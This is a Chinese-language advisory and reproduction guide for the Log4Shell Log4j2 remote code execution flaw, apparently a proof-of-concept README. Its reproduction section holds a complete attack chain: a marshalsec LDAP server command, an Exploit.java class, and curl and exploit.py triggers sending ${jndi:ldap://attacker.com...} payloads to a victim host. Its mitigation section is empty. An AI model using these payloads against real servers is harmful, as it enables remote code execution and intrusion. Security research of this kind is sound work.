CVE-2021-44228 — Log4Shell：Apache Log4j2 远程代码执行

CVSS 10.0 严重 | CWE-502：不可信数据的反序列化 | CWE-917：表达式语言注入的不当中和

概述

Log4Shell（CVE-2021-44228）可以说是 2020 年代最严重的漏洞，影响 Apache Log4j2 2.0 到 2.14.1 版本。该漏洞由阿里巴巴云安全的 Chen Zhaojun 于 2021 年 11 月发现，并于 2021 年 12 月 9 日公开披露，它允许未经认证的攻击者在全球数亿台服务器上执行远程代码。

该漏洞源于 Log4j2 的 JNDI（Java 命名和目录接口）查找功能，该功能允许在日志消息中使用类似 ${jndi:ldap://attacker.com/a} 的任意查找字符串。当用户可控的字符串包含此类模式并被记录时，Log4j2 会执行 JNDI 查找，从而加载并执行远程 Java 类。

技术细节

根本原因

Log4j2 引入了一个名为“消息查找”的功能，该功能将日志消息中的 ${...} 模式替换为来自各种来源（JNDI、环境变量、系统属性等）的值。JndiLookup 类（org.apache.logging.log4j.core.lookup.JndiLookup）在未进行适当清理的情况下，对攻击者控制的字符串调用 InitialContext.lookup()。

// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

lookup() 方法委托给 javax.naming.InitialContext.lookup()，后者可以从 LDAP、RMI、DNS 或 CORBA 服务器加载远程对象。

攻击流程

1. 攻击者构造载荷：${jndi:ldap://attacker.com/a}
2. 载荷进入应用程序上下文（HTTP 头、用户输入等）
3. 应用程序记录载荷（例如，通过请求日志）
4. Log4j2 处理 ${...} 模式并调用 JndiLookup
5. JNDI 查找查询攻击者控制的 LDAP 服务器
6. LDAP 服务器返回一个指向攻击者 Java 类的 Reference
7. Log4j2 / JVM 获取并加载远程类
8. 攻击者的类在应用程序的 JVM 中执行任意代码

受影响版本

复现

设置（LDAP 引用服务器）

使用 marshalsec 启动一个恶意的 LDAP 服务器：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

编译漏洞利用类

// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

触发

python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

或者通过 HTTP 头：

curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

PoC 代码

包含的 exploit.py 提供：

• JNDI 注入载荷生成（LDAP、RMI、DNS 变体）
• 针对常见目标的 HTTP 头注入
• 自动化 LDAP 引用服务器模式
• 与 marshalsec 协作或独立运行

缓解措施

参考资料

• NVD：CVE-2021-44228
• Apache Log4j 安全公告
• CISA Log4j 指南
• Lunasec Log4Shell 分析